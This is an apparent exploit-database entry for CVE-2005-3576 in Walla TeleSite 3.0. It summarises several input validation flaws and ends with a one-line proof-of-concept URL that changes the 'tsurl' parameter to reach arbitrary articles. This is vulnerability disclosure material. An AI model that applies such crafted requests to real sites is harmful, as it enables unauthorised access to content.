Walla TeleSite 3.0 - 'ts.exe?tsurl' Arbitrary Article Access

Author: Rafi Nahum
type: webapps
platform: cgi
port: 
date_added: 2005-11-15 
date_updated: 2013-07-01 
verified: 1 
codes: CVE-2005-3576;OSVDB-20881 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/15419/info

Walla TeleSite is prone to multiple input validation vulnerabilities. These are due to a lack of proper sanitization of user-supplied input.

Walla TeleSite is prone to information and path disclosure, file enumeration, SQL injection, and cross-site scripting attacks within the context of the victim's Web browser and the affected computer.

Other attacks are also possible.

Walla Telesite version 3.0 is affected; earlier versions are also affected.

http://www.example.com/ts.exe?tsurl=0.1.0.0